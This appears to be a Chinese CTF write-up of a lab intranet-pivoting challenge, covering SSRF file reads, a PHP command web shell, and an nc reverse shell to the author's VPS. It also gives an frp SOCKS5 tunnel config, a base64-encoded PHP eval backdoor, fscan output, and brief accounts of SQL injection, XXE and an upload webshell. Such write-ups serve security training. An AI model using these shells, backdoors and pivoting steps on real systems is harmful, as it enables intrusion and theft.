前言：

 今天做完吃饭去了，容器就关了，第一次下午快下班的时候做了一遍，到后面内网穿透那里没配置好，然后下班回家了

今天把他做完顺便把思路整理一下

flag数量为8，即总共有8个；其中直接靠外网能直接获得的有四个，内网在两台主机上也分别有两个共计八个；下面讲解不再考虑顺序，主要讲解思路。

思路：

拓扑图如下：

首先开启容器得到靶机,访问地址：http://47.100.80.12:80
是一个“站长之家-模拟蜘蛛爬取”页面，能够看到一个输入框和一个提交框
直接尝试读取文件：file:///etc/passwd能读取到
尝试读取flag：file:///flag 得到flag1
读取hosts文件：file:///etc/hosts 看到本机IP 为192.168.0.2 【这里的话自己拓扑图画的有的问题，这个靶机应该也在这个网段里面的，但是我给画出去了，不过问题不大】
爆破这个网段，探测到http://192.168.0.10上有web服务，直接尝试http://192.168.0.10 提交访问到的是一个被葫芦娃小组黑了的站点
访问：http://192.168.0.10/shell.php
得到：

<?php
highlight_file(__FILE__); 
error_reporting(0);

system($_GET['cmd']);
?>

那么就可以直接执行命令了，ls发现当前目录存在flag 找到 flag2
ls /也发现一个 flag flag3
查看/usr/bin目录发现存在nc，直接反弹shell到自己的VPS上
访问：http://192.168.0.10/shell.php?cmd=nc xx.xx.xx.xx PORT -e /bin/sh
同时VPS监听端口，得到shell

然后可以通过wget下载工具，但是直接下载github项目里面的非常慢，VPS另启一个http-server服务

然后再shell里面下载工具

用同样的方法下载frpc配置文件,这里同时加上SOCKS5代理
frpc.ini

[common]
server_addr = (your vps IP)
server_port = 7000

[lo80]
type = tcp
local_ip = 127.0.0.1
local_port = 80
remote_port = 16000

[socks5]
type = tcp 
remote_port = 16005
plugin = socks5

$chomod 777 frpc #加权限
$./frpc -c frpc.ini #运行frpc
同时VPS上运行：#./frps -c frps.ini (先运行这个)
然后就可以通过自己的VPS直接访问 http://192.168.0.10的80端口了
直接访问： VPS/shell.php?cmd=ps%20-ef 能访问
写个一句话木马进去 /?cmd=echo "PD9waHAgZXZhbCgkX1BPU1RbYml0XSk7Pz4="|base64 -d>bit.php
现在可以用蚁剑连接了 VPS/bit.php 密码：bit
上传fscan，开始扫描内网，有两个网段 192.168.0.0/24 还有一个10.10.0.0/24
分别扫描，待扫描完成查看结果：
res192.txt

192.168.0.1:22 open
192.168.0.10:80 open
192.168.0.2:80 open
192.168.0.1:80 open
192.168.0.250:80 open
192.168.0.138:80 open
192.168.0.2:9000 open
192.168.0.10:9000 open
192.168.0.250:9000 open
[+] FCGI:192.168.0.250:9000 
Status: 403 Forbidden
X-Powered-By: PHP/5.6.40
Content-type: text/html; charset=UTF-8

Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)

plesa try other path,as -path /www/wwwroot/index.php
[+] FCGI:192.168.0.10:9000 
Status: 403 Forbidden
X-Powered-By: PHP/5.6.40
Content-type: text/html; charset=UTF-8

Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)

plesa try other path,as -path /www/wwwroot/index.php
[+] FCGI:192.168.0.2:9000 
Status: 403 Forbidden
X-Powered-By: PHP/5.6.40
Content-type: text/html; charset=UTF-8

Access denied.
stderr:Access to the script '/etc/issue' has been denied (see security.limit_extensions)

plesa try other path,as -path /www/wwwroot/index.php
[*] WebTitle:http://192.168.0.10       code:200 len:770    title:葫芦娃小组
[*] WebTitle:http://192.168.0.250      code:200 len:2035   title:用户登录
[*] WebTitle:http://192.168.0.1        code:200 len:1987   title:站长之家 - 模拟蜘蛛爬取
[*] WebTitle:http://192.168.0.2        code:200 len:1987   title:站长之家 - 模拟蜘蛛爬取
[*] WebTitle:http://192.168.0.138      code:200 len:953    title:Bugku分数查询系统

res10.txt

10.10.0.1:22 open
10.10.0.22:80 open
10.10.0.5:80 open
10.10.0.1:80 open
10.10.0.22:9000 open
10.10.0.5:9000 open

经过上面的FRP进行内网穿透后，挂上socks5代理，挂了socks 就可以通过那个中继连内部网段，因此可以直接访问内部的系统
浏览器使用代理工具挂上socks5代理并完成对应的配置，就可以直接访问了（具体配置如上图）
可以看到还有192.168.0.138有一个Bugku分数查询系统，存在SQL注入，一个简单的联合查询得到 flag4

还有192.168.0.250这台主机有一个用户登录

直接输入admin admin,发现没啥变化，抓个包，
使用BURP配置socks5代理

抓包尝试发现有xxe漏洞

尝试读取flag
分别在根目录和/var/www/html/目录发现flag 得到 :flag5 flag6 实际好像这里是flag7 和flag8

然后访问10.10.0.22:80端口是一个 Slide4站点，访问 /admin.php 尝试弱口令登录 ：admin admin 登录成功
在后台管理--》文件管理--》文件上传处有一个文件上传点，可以上传文件，直接上传一句话木马，发现能上传成功
然后进行利用，发现同上，分别在上级目录和根目录发现两个flag ，分别为flag7 flag8 实际上是flag5 flag6

至此所有flag已提交，我在拿到flag与最后提交的并不一致，因为提交完所有flag后容器会自动销毁，而我还有一个小时左右，反复开socks5代理也嫌麻烦，所以是到最后一起写在一起交的，故flag顺序可能有误，主要还是讲解思路及流程。